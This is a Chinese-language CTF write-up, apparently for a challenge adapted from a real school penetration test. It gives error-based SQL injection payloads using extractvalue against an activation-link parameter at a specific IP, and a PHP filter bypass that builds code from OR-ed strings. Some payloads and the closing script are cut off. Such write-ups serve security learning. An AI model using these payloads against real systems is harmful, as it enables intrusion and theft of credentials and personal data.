y1ng师傅出的一道题,非常顶,可以说是这是一道实战改编题,y1ng师傅在做渗透测试时,在一个系统的某个不起眼的地方——邮件激活链接发现了SQL注入,并得到了全校所有学生的内网平台账号密码,而学生的所有信息、所有网上办事等等几乎都使用校内网平台的账号密码。
其实比赛的时候主办方也提醒了邮箱不要随便填,不过当时还是没能察觉到邮件激活链接中的一个参数存在SQL注入。
现在正式解题,直接看邮件激活链接:
1 | http://183.129.189.60:10048/doAction.php?act=active&username=ca01h&token=cf42313ae7812e9234d5b378f095e688 |
注入点在username参数,说一下我的解题过程:
首先使SQL语句报错
再尝试万能注入payload:
好像可以使用盲注,再尝试ca01h2' or if(length(select database())>1, 1, 0)--+
,结果直接SQL语句报错
盲注不行,联合注入被过滤,那么接着试一下报错注入:
成功爆出当前用户名,接下来的工作就是拿数据。
爆表名:
1 | ca01h2' and (extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)))--+ |
一共有三个表:student, teachers, users
爆列名:
1 | ca01h2' and (extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='student' limit 0,1),0x7e)))--+ |
student表一共四个字段:id, username, age, sex
teachers表:id, f1aaaag,
爆数据:
1 | ca01h2' and (extractvalue(1,concat(0x7e,(select reverse(f1aaaag) from teachers limit 11,1),0x7e)))--+ |
1 |
|
过滤了所有字母数字和部分逻辑运算符以及常用于构造webshell的^
、~
、&
等符号。
但是还有一个逻辑运算符放出来了 |
或运算。
payload:
1 | code=('````````'|' ')('/````'|'/'));// |
应该是可以用python脚本fuzz出来的。
y1ng师傅的方法,直接不用或运算符,TQLLLLLL,代码看不太懂,膜就完事。
1 | #!/usr/bin/env python3 |
https://www.gem-love.com/ctf/2598.html
https://rce.moe/2020/08/25/GeekPwn-2020-云上挑战赛-cosplay-writeup/